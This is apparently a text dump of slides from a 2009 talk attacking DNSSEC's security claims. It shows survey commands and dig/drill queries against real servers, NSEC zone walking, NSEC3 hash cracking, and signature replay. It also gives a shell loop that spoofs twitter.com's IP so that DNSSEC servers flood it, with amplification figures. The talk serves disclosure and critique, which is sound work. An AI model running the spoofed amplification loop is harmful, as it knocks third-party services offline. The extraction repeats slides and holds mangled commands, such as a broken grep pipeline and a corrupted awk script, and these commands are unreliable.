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1994.02 Eastlake–Kaufman, after months of discussions on dns-security mailing list: “DNSSEC” protocol specification.
1993.11 Galvin: “The DNS Security design team of the DNS working group met for one morning at the Houston IETF.”


Continued DNSSEC efforts received millions of dollars of government grants: e.g., DISA to BIND company; NSF to UCLA; DHS to Secure64 Software Corporation.
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2008.08.20: Surveys by DNSSEC developers found 116 *.com names with DNSSEC signatures.
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2008.08.20: Surveys by DNSSEC developers found 116 *.com names with DNSSEC signatures.

Earlier the same month, Dan Kaminsky had explained various attacks on DNS.

2008–2009:
Even more money for DNSSEC; “DNSSEC in six minutes”; “DNSSEC for dummies”; etc.
Dummies for DNSSEC:

[Dummies for DNSSEC]

I installed DNSSEC and stopped wearing seatbelts
This year-long DNSSEC push must have been successful. Let's check the surveys.

```
$ wget -m -k -I / 
   secspider.cs.ucla.edu
$ cd secspider.cs.ucla.edu
$ ls ./*--zone.html \ 
   | xargs grep -l \ 
   | HREF=.com--zone \ 
   | xargs grep -l \ 
   | ’DNSSEC depl.*Yes’ \ 
   | wc
```
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2009.08.07 (last Friday):
274 *.com names have DNSSEC signatures.

Compared to last year’s 116: 274 is more than double! Wow, exponential growth!

Plus non-.com servers; .com isn’t the entire world.

Total DNSSEC server deployment: 941 IP addresses worldwide.

Let’s put on attacker’s hat and gain hands-on experience with attacking these servers.
vix.com is one of the DNSSEC zones.

Find a vix.com server:

$ dig +short ns vix.com
ns1.isc-sns.net.
ns2.isc-sns.com.
ns3.isc-sns.info.
ns.sjc1.vix.com.
ns.sql1.vix.com.

$ dig +short \
   ns.sjc1.vix.com.
192.83.249.98
$
Ask that server for the www.vix.com address:

$ dig www.vix.com \
   @192.83.249.98
...

vix.com. 3600 IN A 204.152.188.231
vix.com. 3600 IN NS ns3.isc-sns.info.
vix.com. 3600 IN NS ns1.isc-sns.net.
vix.com. 3600 IN
    NS ns2.isc-sns.com.
vix.com. 3600 IN
    NS ns.sql1.vix.com.
ns.sql1.vix.com. 3600 IN
    A 204.152.184.135
ns.sql1.vix.com. 3600 IN
    AAAA 2001:4f8:3::9
ns.sjc1.vix.com. 3600 IN
    A 192.83.249.98
$

Hmmm, where’s the DNSSEC? Check the documentation.
Aha: DNSSEC is disabled unless client asks for it.

$ drill -D www.vix.com @192.83.249.98


fKVECbivqwh4JAKraMpm8jiJua/6u+tJPxm5SI918Cr2mJpr38c6YC4f/I10vsb3KM
vix.com. 3600 IN
  NS ns1.isc-sns.net.

vix.com. 3600 IN
  NS ns3.isc-sns.info.

vix.com. 3600 IN
  NS ns2.isc-sns.com.

vix.com. 3600 IN
  NS ns.sql1.vix.com.
vix.com. 3600 IN
  NS ns.sjc1.vix.com.
vix.com. 3600 IN RRSIG
  NS 5 2 3600
  20090823200302
  20090525200302
  63066 vix.com.
  maYmGHUXfwIHHNIVzINf07
  j3q9tZnuHK1A82nJK4L2dv
  Gx48bgVI6d5FGFbtfsakTk
  5TU0cW7F6T4UL09+0fPrR9
  Hs3fqjAc0Uysn/6WpdKTZf
  m93F8/Q2p9tbT3h0utV4nR
  GOZcqc2ORH0QyDFy0XYIBd
  S48M6fpqYPTYPZvZw=
ns.sql1.vix.com. 3600 IN A 204.152.184.135
ns.sql1.vix.com. 3600 IN AAAA 2001:4f8:3::9
ns.sjc1.vix.com. 3600 IN A 192.83.249.98
ns.sql1.vix.com. 3600 IN RRSIG A 5 4 3600
               20090823200302
               20090525200302
63066  vix.com.
aIBb3PMmZ6idtCWAGB44ux
+Eua8MIhwA94F5Cdkm1XvP
uYN6UNGa081CoXe0+ClJLW
ns.sql1.vix.com. 3600 IN RRSIG AAAA 5 4 3600
20090823200302
20090525200302
63066 vix.com.
obrgR/zXrkhh19hwg0/dSR8Ig1rypadzXmjC7+yB0cXuT0ducXtH6810/yeiGTfN2Q56
4mX+7x1yQvdS2YRq0XQVFsF
ns.sjc1.vix.com. 3600 IN RRSIG A 5 4 3600
20090823200302
20090525200302
63066 vix.com.
jUKKm0tqeSYR6DzwAkj2Y3
H29NalCak8KBgSCQwxV4s6
GjaPDWwcHxGepRsAxWl1IL
sFEJ1zmcgUw1oq7tuvddpc
on12qb0sRWeC3vXC7fyE4T
Wow, that’s a lot of data. Must be strong cryptography!

$ tcpdump -n -e \
   host 192.83.249.98 &
shows packet sizes:
drill sends 82-byte IP packet to the vix.com DNS server, receives 1303-byte IP packet.

See more DNSSEC data:
$ drill -D any vix.com \
   @192.83.249.98
Sends 78-byte IP packet, receives three IP fragments totalling 3113 bytes.
Let’s collect more data.
Make list of DNSSEC servers:

```awk
/^Zone <STRONG>/ { z = $2
sub(/<STRONG>/,"",z)
sub(/<\</STRONG>/,"",z)
}
/GREEN.*GREEN.*GREEN.*Yes/ {
    split($0,x,/<TD>/)
    sub(/</TD>/,"",x[5])
    print z,99+length(z),x[5]
}
', secspider*/--zone.html \
> secsp.out
```
Send one DNSSEC request to each server:

```
mkdir -p data
sort -k3 -k2 secsp.out \ 
| uniq -f2 \ 
| while read z n ip do
dig +dnssec +ignore \ 
+tries=1 +time=1 \ 
any $z @$ip \ > data/$ip
done
```

Overall sent 77118 bytes and received 2526996 bytes.
Can send all these requests without seeing the responses (assuming no egress filters).

```bash
ifconfig eth0:1 168.143.162.116
mkdir -p data
sort -k3 -k2 secsp.out \ | uniq -f2 \ | while read z n ip do
dig -b 168.143.162.116 \ +dnssec +ignore \ +tries=1 +time=1 \ any $z @$ip &
done
```
Is 168.143.162.116 my data-collecting machine?
Is 168.143.162.116 my data-collecting machine?

No: It’s twitter.com.

I’ve sent 77118 bytes. 941 DNSSEC servers worldwide have sent 2526996 bytes to twitter.com.
Is 168.143.162.116 my data-collecting machine?

No: It’s twitter.com.

I’ve sent 77118 bytes.

941 DNSSEC servers worldwide have sent 2526996 bytes to twitter.com.

I do this 5× per second from 200 attack sites.

Attack site uses 3Mbps.

DNSSEC server uses 22Mbps.

twitter.com is flooded with 20000 Mbps, falls over.
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RFC 4033 doesn’t say
“DNSSEC is a remote-controlled double-barreled shotgun, the worst DDoS amplifier on the Internet.”

Not covered in this talk:
other types of DoS attacks.
e.g. DNSSEC advertising says zero server-CPU-time cost. How much server CPU time can we actually consume?
Let's look more closely at the DNSSEC responses.

$ drill -D \\
  nonexistent.clegg.com \\
  @192.153.154.127

... 

mail.clegg.com. 300 IN NSEC
  wiki.clegg.com.
    CNAME RRSIG NSEC

... 

This NSEC says that there are no names between mail.clegg.com and wiki.clegg.com.
Try foo.clegg.com etc. After several queries have complete clegg.com list: _jabber._tcp, _xmpp-server._tcp, alan, alvis, andrew, brian, calendar, dlv, googleffffffffe91126e7, home, imogene, jennifer, localhost, mail, wiki, www.
Try foo.clegg.com etc.
After several queries have complete clegg.com list: _jabber._tcp, _xmpp-server._tcp, alan, alvis, andrew, brian, calendar, dlv, googlefffffffffffe91126e7, home, imogene, jennifer, localhost, mail, wiki, www.

The clegg.com administrator disabled DNS “zone transfers” — but then leaked the same data by installing DNSSEC.
Try foo.clegg.com etc.
After several queries have complete clegg.com list:
_jabber._tcp, _xmpp-server._tcp, alan, alvis, andrew, brian, calendar, dlv, googlefffffffffe91126e7, home, imogene, jennifer, localhost, mail, wiki, www.

The clegg.com administrator disabled DNS “zone transfers” — but then leaked the same data by installing DNSSEC. This administrator is the author of “DNSSEC in 6 minutes”!?!?!?
This is “NSEC walking.”

1999 DNSSEC specifications said “It is part of the design philosophy of the DNS that the data in it is public and that the DNS gives the same answers to all inquirers.”

RFC 4033 says “DNSSEC does not provide confidentiality. . . . DNSSEC introduces the ability for a hostile party to enumerate all the names in a zone . . . this is not an attack on the DNS itself . . .”
Myth: This DNSSEC stupidity was fixed by NSEC3 (proposed standard, 2008).
Myth: This DNSSEC stupidity was fixed by NSEC3 (proposed standard, 2008).

Reality: DNSSEC+NSEC3 leaks private information much more quickly than classic DNS.

NSEC3’s information leakage isn’t shoved in user’s face, but that isn’t security; it’s a marketing stunt.
How to break DNSSEC+NSEC3:

Ask server about a name. Response reveals *hashes* of server’s existing names.

Guess another name, compute the hash, see if it matches.

If hash is outside the hash intervals revealed so far, ask server about this name. This happens only a few times.
Cost to break all $n$ names: $n$ queries to server, plus many hash guesses.

I currently have 9 computers (9 2.4GHz Core 2 Quad CPUs; part of www.win.tue.nl/cccc/) breaking NSEC3 for fun.
Cost to break all $n$ names: $n$ queries to server, plus many hash guesses.

I currently have 9 computers (9 2.4GHz Core 2 Quad CPUs; part of www.win.tue.nl/cccc/) breaking NSEC3 for fun.

Each day they’re checking 5800000000000 hash guesses (NSEC3 iteration count 2; would be $\approx 23 \times$ slower against iteration count 150).

Can achieve similar speed on a single GTX 295 GPU.
2009.06.24, first day of FISL10: Frederico Neves issued a challenge. Can anyone actually exploit DNSSEC’s leaks to find the *.sec3.br names?

2009.06.27, last day of FISL10: I announced that I had computed 23 of the 26 names by exploiting DNSSEC+NSEC3. Examples: douglas, pegasus, rafael, security, unbound, while42, zz--zz.

Thanks to Tanja Lange at Eindhoven for assistance.
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RFC 5155: Hash guesses “are substantially more expensive than enumerating the original NSEC RRs would have been.”

— How many of your names aren’t among my first 5800000000000 guesses?

RFC 5155: “Such an attack could also be used directly against the name server itself by performing queries for all likely names.”

— I can send you 100000 Mbps?

RFC 5155: “This would obviously be more detectable.”
Summary so far:

DNSSEC does nothing to improve DNS availability.

DNSSEC allows astonishing levels of DDoS amplification, damaging Internet availability.

DNSSEC does nothing to improve DNS privacy.

DNSSEC, even with NSEC3, leaks private DNS data.
Summary so far:

DNSSEC does nothing to improve DNS availability.

DNSSEC allows astonishing levels of DDoS amplification, damaging Internet availability.

DNSSEC does nothing to improve DNS privacy.

DNSSEC, even with NSEC3, leaks private DNS data.

Why is this “security”? Answer: DNSSEC is claimed to provide integrity for DNS.
Tuesday 2009.06.02:
“.ORG becomes the first open TLD to sign their zone with DNSSEC . . . Today we reached a significant milestone in our effort to bolster online security for the .ORG community. We are the first open generic Top-Level Domain to successfully sign our zone with Domain Name Security Extensions (DNSSEC). To date, the .ORG zone is the largest domain registry to implement this needed security measure.”
“What does it mean that the .ORG Zone is ‘signed’? Signing our zone is the first part of our DNSSEC test phase. We are now cryptographically signing the authoritative data within the .ORG zone file. This process adds new records to the zone, which allows verification of the origin authenticity and integrity of data.”
Cryptography! Authority!
Verification! Authenticity!
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Cryptography! Authority! Verification! Authenticity! Integrity! Sounds great!

Now I simply configure the new .org public key into my DNS software. Because the .org servers are signing with DNSSEC, it is no longer possible for attackers to forge data from those servers!
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Now I simply configure the new .org public key into my DNS software. Because the .org servers are signing with DNSSEC, it is no longer possible for attackers to forge data from those servers!

... or is it?
Let’s look at this “integrity” from an attacker’s perspective. How do we forge DNSSEC records?

Can \textit{dodge} signatures by finding software bugs in DNSSEC implementations. DNSSEC has many options, many complications, and a long history of bugs, often destroying security.

2009: Emergency BIND upgrade. Minor software bug meant that DNSSEC DSA signatures had always been trivial to forge.
Can *replay* signatures.

Attacker inspects DNSSEC signatures from vix.com.

vix.com changes location, acquires new IP addresses, changes DNS records.

Attacker buys the old addresses, forges DNS responses with the *old* DNS records and the *old* signatures (which are valid for 30 days). Passes signature verification. Successfully steals mail!
Can cryptanalyze signatures.

The .org signatures are 1024-bit RSA signatures.

2003: Shamir–Tromer et al. concluded that 1024-bit RSA was already breakable by large companies and botnets. $10 million: 1 key/year. $120 million: 1 key/month.

2003: RSA Laboratories recommended a transition to 2048-bit keys “over the remainder of this decade.” 2007: NIST made the same recommendation.
2009.03 draft “DNSSEC operational practices” says “No one has broken a regular 1024-bit key . . . it is estimated that most zones can safely use 1024-bit keys for at least the next ten years.”

— Academic teams using tiny computer clusters will need several years before announcing successful break of 1024-bit keys. Is this what “safe” means?
Easiest, most powerful attack: Can *ignore* signatures.
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Suppose an attacker forges a DNS packet from `.org`, including exactly the same DNSSEC signatures but *changing the NS+A records* to point to the attacker’s servers.
Easiest, most powerful attack: Can *ignore* signatures.

Suppose an attacker forges a DNS packet from `.org`, including exactly the same DNSSEC signatures but *changing the NS+A records* to point to the attacker’s servers.

Fact: DNSSEC “verification” won’t notice the change. The signatures say *nothing* about the NS+A records. *The forgery will be accepted.*
What did .org sign?

The signature for mwisc.org, a typical domain, says “.org might have data with hashes between 1b39ggevfp3b72r9r901o1osqddn4ben and 1bfadvmpj1fqlfvdv8eksiokfheo7km9 but has not signed any of it.”

mwisc.org has a hash in that range.

.org now has thousands of these useless signatures. This is .org “implementing” a “needed security measure.”